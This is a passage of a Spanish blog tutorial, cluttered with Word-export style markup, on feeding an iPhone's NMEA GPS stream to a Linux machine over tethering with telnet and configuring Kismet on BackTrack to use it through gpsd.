mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Como se observa en las imágenes anteriores ambas
aplicaciones hacen lo mismo, levantar un servicio donde se retransmiten las
coordenadas GPS utilizando el protocolo NMEA que es el protocolo universal para
GPS.</div>
<div class="MsoNormal">
Por otro lado lo que haremos será compartir la conexión de
internet por cable o Wifi es indiferente, ¿el objetivo? Poder llegar por ping y
obviamente tener accesible el puerto del servicio concreto, en nuestro caso con
el Iphone el puerto es 11123.</div>
<div class="MsoNormal">
Una vez que tenemos compartida la conexión a internet vía
tethering y tenemos accesible el teléfono en una máquina Linux haremos:</div>
<blockquote class="tr_bq">
<div class="MsoNormal">
<span lang="EN-US" style="mso-ansi-language: EN-US;">telnet $(IP_IPHONE)
PUERTO | tee /dev/ttys0</span></div>
</blockquote>
<div class="MsoNormal">
Con esto nos estamos conectando al servicio levantado por el
iphone y llevándonos a un fichero todas las coordenadas, además de mostrarse
por la salida en pantalla.</div>
<div class="MsoNormal">
Una vez que hemos realizado esto ya tenemos un gps montado
en /dev/ttys0. </div>
<div class="MsoNormal">
Procedemos ahora a configurar adecuadamente Kismet. Si no lo
habéis compilado a mano vosotros y utilizáis la backtrack podemos encontrar la configuración
en /usr/local/etc/kismet.conf. En caso contrario podemos buscarlo con find,
locate o similares.</div>
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">En este fichero yo definiré que la interfaz origen de
captura siempre será mon0:</span><br />
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-A_JJ9jck0-I/URzMC1HeOlI/AAAAAAAAAXA/UZuLLZ8eQcc/s1600/confg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="385" src="http://3.bp.blogspot.com/-A_JJ9jck0-I/URzMC1HeOlI/AAAAAAAAAXA/UZuLLZ8eQcc/s640/confg.png" width="640" /></a></div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><br /></span></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</div>
<div class="MsoNormal">
Por otro lado indicamos que el gsp es de tipo gpsd y que
esta en el /dev/ttys0:</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-APUSbz6bzYA/URzMW_QuVHI/AAAAAAAAAXI/L5fPGNduJyI/s1600/config2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="http://3.bp.blogspot.com/-APUSbz6bzYA/URzMW_QuVHI/AAAAAAAAAXI/L5fPGNduJyI/s640/config2.png" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
